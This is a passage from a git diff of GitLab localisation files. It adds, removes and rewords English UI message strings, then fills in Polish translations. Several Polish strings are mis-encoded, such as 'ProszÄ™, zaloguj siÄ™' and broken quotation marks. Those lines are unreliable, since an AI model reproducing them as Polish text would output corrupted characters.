msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/pl_PL/gitlab.po b/locale/pl_PL/gitlab.po
index 5e5879d6027..e4cee7b0657 100644
--- a/locale/pl_PL/gitlab.po
+++ b/locale/pl_PL/gitlab.po
@@ -14,13 +14,13 @@ msgstr ""
"X-Crowdin-Language: pl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:24\n"
+"PO-Revision-Date: 2021-06-01 20:45\n"
msgid " %{name}, confirm your email address now! "
-msgstr ""
+msgstr " %{name}, potwierdź teraz swój adres e-mail! "
msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
+msgstr " %{project_name}#%{issuable_iid} &middot; utworzony %{issuable_created} przez %{author} &middot; zaktualizowany %{issuable_updated}"
msgid " %{start} to %{end}"
msgstr ""
@@ -29,31 +29,31 @@ msgid " (from %{timeoutSource})"
msgstr ""
msgid " Collected %{time}"
-msgstr ""
+msgstr " Zebrano %{time}"
msgid " Please sign in."
-msgstr ""
+msgstr " ProszÄ™, zaloguj siÄ™."
msgid " Target Path"
-msgstr ""
+msgstr " Ścieżka docelowa"
msgid " Try to %{action} this file again."
-msgstr ""
+msgstr " Spróbuj %{action} ten plik ponownie."
msgid " Type"
msgstr ""
msgid " You need to do this before %{grace_period_deadline}."
-msgstr ""
+msgstr " Musisz to zrobić przed %{grace_period_deadline}."
msgid " and"
-msgstr ""
+msgstr " i"
msgid " and "
-msgstr ""
+msgstr " i "
msgid " and %{sliced}"
-msgstr ""
+msgstr " i %{sliced}"
msgid " degraded on %d point"
msgid_plural " degraded on %d points"
@@ -64,48 +64,48 @@ msgstr[3] ""
msgid " improved on %d point"
msgid_plural " improved on %d points"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] " polepszono o %d punkt"
+msgstr[1] " polepszono o %d punkty"
+msgstr[2] " polepszono o %d punktów"
+msgstr[3] " polepszono o %d punkta"
msgid " or "
-msgstr ""
+msgstr " lub "
msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
-msgstr ""
+msgstr " lub %{emphasisStart}!id żądania scalenia%{emphasisEnd}"
msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
-msgstr ""
+msgstr " lub %{emphasisStart}#id zgłoszenia%{emphasisEnd}"
msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
-msgstr ""
+msgstr " lub %{emphasisStart}&id epiku%{emphasisEnd}"
msgid " or references (e.g. path/to/project!merge_request_id)"
-msgstr ""
+msgstr " lub referencje (np. ścieżka/do/projektu!id_żądania_scalenia)"
msgid "\"%{path}\" did not exist on \"%{ref}\""
-msgstr ""
+msgstr "„%{path}†nie istniaÅ‚o na „%{ref}â€"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
-msgstr ""
+msgstr "Rozmiar (%{repository_size}) w „%{repository_name}†jest większy niż limit %{limit}."
msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
+msgstr "Parametr „el†jest wymagany dla createInstance()"
msgid "%d Approval"
msgid_plural "%d Approvals"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d Zatwierdzenie"
+msgstr[1] "%d Zatwierdzenia"
+msgstr[2] "%d Zatwierdzeń"
+msgstr[3] "%d Zatwierdzenia"
msgid "%d Module"
msgid_plural "%d Modules"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d Moduł"
+msgstr[1] "%d Moduły"
+msgstr[2] "%d Modułów"
+msgstr[3] "%d Modułu"
msgid "%d Other"
msgid_plural "%d Others"
@@ -116,87 +116,87 @@ msgstr[3] ""
msgid "%d Package"
msgid_plural "%d Packages"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d Pakiet"
+msgstr[1] "%d Pakiety"
+msgstr[2] "%d Pakietów"
+msgstr[3] "%d Pakietu"
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d Przeskanowany URL"
+msgstr[1] "%d Przeskanowane URLe"
+msgstr[2] "%d Przeskanowanych URLi"
+msgstr[3] "%d Przeskanowanego URLu"
msgid "%d URL scanned"
msgid_plural "%d URLs scanned"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d URL przeskanowany"
+msgstr[1] "%d URLe przeskanowane"
+msgstr[2] "%d URLi przeskanowanych"
+msgstr[3] "%d URLu przeskanowanego"
msgid "%d approver"
msgid_plural "%d approvers"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d zatwierdzajÄ…cy"
+msgstr[1] "%d zatwierdzajÄ…cych"
+msgstr[2] "%d zatwierdzajÄ…cych"
+msgstr[3] "%d zatwierdzajÄ…cego"
msgid "%d approver (you've approved)"
msgid_plural "%d approvers (you've approved)"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d zatwierdzającego (zatwierdziłeś)"
+msgstr[1] "%d zatwierdzających (zatwierdziłeś)"
+msgstr[2] "%d zatwierdzających (zatwierdziłeś)"
+msgstr[3] "%d zatwierdzającego (zatwierdziłeś)"
msgid "%d changed file"
msgid_plural "%d changed files"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d zmieniony plik"
+msgstr[1] "%d zmienione pliki"
+msgstr[2] "%d zmienionych plików"
+msgstr[3] "%d zmienionego pliku"
msgid "%d character remaining"
msgid_plural "%d characters remaining"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d znak pozostał"
+msgstr[1] "%d znaki pozostały"
+msgstr[2] "%d znaków pozostało"
+msgstr[3] "%d znaku pozostało"
msgid "%d child epic"
msgid_plural "%d child epics"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d pod-epik"
+msgstr[1] "%d pod-epiki"
+msgstr[2] "%d pod-epików"
+msgstr[3] "%d pod-epiku"
msgid "%d code quality issue"
msgid_plural "%d code quality issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d problem z jakością kodu"
+msgstr[1] "%d problemy z jakością kodu"
+msgstr[2] "%d problemów z jakością kodu"
+msgstr[3] "%d problemu z jakością kodu"
msgid "%d comment"
msgid_plural "%d comments"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d komentarz"
+msgstr[1] "%d komentarze"
+msgstr[2] "%d komentarzy"
+msgstr[3] "%d komentarza"
msgid "%d comment on this commit"
msgid_plural "%d comments on this commit"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d komentarz do tej zmiany"
+msgstr[1] "%d komentarze do tej zmiany"
+msgstr[2] "%d komentarzy do tej zmiany"
+msgstr[3] "%d komentarza do tej zmiany"
msgid "%d commit"
msgid_plural "%d commits"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d commit"
+msgstr[1] "%d commity"
+msgstr[2] "%d commitów"
+msgstr[3] "%d commitu"
msgid "%d commit behind"
msgid_plural "%d commits behind"
@@ -207,62 +207,62 @@ msgstr[3] ""
msgid "%d commit,"
msgid_plural "%d commits,"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d commit,"
+msgstr[1] "%d commity,"
+msgstr[2] "%d commitów,"
+msgstr[3] "%d commitu,"
msgid "%d commits"
-msgstr ""
+msgstr "%d commitów"
msgid "%d completed issue"
msgid_plural "%d completed issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d zakończone zgłoszenie"
+msgstr[1] "%d zakończone zgłoszenia"
+msgstr[2] "%d zakończonych zgłoszeń"
+msgstr[3] "%d zakończonego zgłoszenia"
msgid "%d contribution"
msgid_plural "%d contributions"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d wkład"
+msgstr[1] "%d wkłady"
+msgstr[2] "%d wkładów"
+msgstr[3] "%d wkładu"
msgid "%d day"
msgid_plural "%d days"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d dzień"
+msgstr[1] "%d dni"
+msgstr[2] "%d dni"
+msgstr[3] "%d dnia"
msgid "%d epic"
msgid_plural "%d epics"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d epik"
+msgstr[1] "%d epiki"
+msgstr[2] "%d epików"
+msgstr[3] "%d epiku"
msgid "%d error"
msgid_plural "%d errors"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d błąd"
+msgstr[1] "%d błędy"
+msgstr[2] "%d błędów"
+msgstr[3] "%d błędu"
msgid "%d error found:"
msgid_plural "%d errors found:"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Znaleziono %d błąd:"
+msgstr[1] "Znaleziono %d błędy:"
+msgstr[2] "Znaleziono %d błędów:"
+msgstr[3] "Znaleziono %d błędu:"
msgid "%d exporter"
msgid_plural "%d exporters"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d eksporter"
+msgstr[1] "%d eksportery"
+msgstr[2] "%d eksporterów"
+msgstr[3] "%d eksporteru"
msgid "%d failed"
msgid_plural "%d failed"
@@ -273,59 +273,59 @@ msgstr[3] ""
msgid "%d failed security job"
msgid_plural "%d failed security jobs"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d nieudane zadanie bezpieczeństwa"
+msgstr[1] "%d nieudane zadania bezpieczeństwa"
+msgstr[2] "%d nieudanych zadań bezpieczeństwa"
+msgstr[3] "%d nieudanego zadania bezpieczeństwa"
msgid "%d file"
msgid_plural "%d files"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d plik"
+msgstr[1] "%d pliki"
+msgstr[2] "%d plików"
+msgstr[3] "%d pliku"
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d poprawiony wynik testu"
+msgstr[1] "%d poprawione wyniki testu"
+msgstr[2] "%d poprawionych wyników testu"
+msgstr[3] "%d poprawionego wyniku testu"
msgid "%d group"
msgid_plural "%d groups"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d grupa"
+msgstr[1] "%d grupy"
+msgstr[2] "%d grup"
+msgstr[3] "%d grupy"
msgid "%d group selected"
msgid_plural "%d groups selected"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d zaznaczona grupa"
+msgstr[1] "%d zaznaczone grupy"
+msgstr[2] "%d zaznaczonych grup"
+msgstr[3] "%d zaznaczonej grupy"
msgid "%d hour"
msgid_plural "%d hours"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d godzina"
+msgstr[1] "%d godziny"
+msgstr[2] "%d godzin"
+msgstr[3] "%d godziny"
msgid "%d inaccessible merge request"
msgid_plural "%d inaccessible merge requests"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d niedostępny merge request"
+msgstr[1] "%d niedostępne merge requesty"
+msgstr[2] "%d niedostępnych merge requestów"
+msgstr[3] "%d niedostępnego merge requestu"
msgid "%d issue"
msgid_plural "%d issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d zgłoszenie"
+msgstr[1] "%d zgłoszenia"
+msgstr[2] "%d zgłoszeń"
+msgstr[3] "%d zgłoszenia"
msgid "%d issue in this group"
msgid_plural "%d issues in this group"
@@ -336,6 +336,13 @@ msgstr[3] ""
msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
+msgstr[0] "%d zgłoszenie pomyślnie zaimportowane z etykietą"
+msgstr[1] "%d zgłoszenia pomyślnie zaimportowane z etykietą"
+msgstr[2] "%d zgłoszeń pomyślnie zaimportowanych z etykietą"
+msgstr[3] "%d zgłoszenia pomyślnie zaimportowana z etykietą"
+
+msgid "%d item"
+msgid_plural "%d items"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -343,31 +350,31 @@ msgstr[3] ""
msgid "%d layer"
msgid_plural "%d layers"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d warstwa"
+msgstr[1] "%d warstwy"
+msgstr[2] "%d warstw"
+msgstr[3] "%d warstwy"
msgid "%d merge request"
msgid_plural "%d merge requests"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d merge request"
+msgstr[1] "%d merge requesty"
+msgstr[2] "%d merge requestów"
+msgstr[3] "%d merge requestu"
msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d merge request, do którego nie masz dostępu."
+msgstr[1] "%d merge requesty, do których nie masz dostępu."
+msgstr[2] "%d merge requestów, do których nie masz dostępu."
+msgstr[3] "%d merge requestu, do którego nie masz dostępu."
msgid "%d metric"
msgid_plural "%d metrics"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d metryka"
+msgstr[1] "%d metryki"
+msgstr[2] "%d metryk"
+msgstr[3] "%d metryki"
msgid "%d milestone"
msgid_plural "%d milestones"
@@ -378,59 +385,59 @@ msgstr[3] ""
msgid "%d minute"
msgid_plural "%d minutes"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d minuta"
+msgstr[1] "%d minuty"
+msgstr[2] "%d minut"
+msgstr[3] "%d minuty"
msgid "%d more comment"
msgid_plural "%d more comments"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d dodatkowy komentarz"
+msgstr[1] "%d dodatkowe komentarze"
+msgstr[2] "%d dodatkowych komentarzy"
+msgstr[3] "%d dodatkowego komentarza"
msgid "%d open issue"
msgid_plural "%d open issues"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d otwarte zgłoszenie"
+msgstr[1] "%d otwarte zgłoszenia"
+msgstr[2] "%d otwartych zgłoszeń"
+msgstr[3] "%d otwartego zgłoszenia"
msgid "%d pending comment"
msgid_plural "%d pending comments"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d oczekujÄ…cy komentarz"
+msgstr[1] "%d oczekujÄ…ce komentarze"
+msgstr[2] "%d oczekujÄ…cych komentarzy"
+msgstr[3] "%d oczekujÄ…cego komentarza"
msgid "%d personal project will be removed and cannot be restored."
msgid_plural "%d personal projects will be removed and cannot be restored."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d projekt osobisty zostanie usunięty i nie będzie można go przywrócić."
+msgstr[1] "%d projekty osobiste zostaną usunięte i nie będzie można ich przywrócić."
+msgstr[2] "%d projektów osobistych zostanie usuniętych i nie będzie można ich przywrócić."
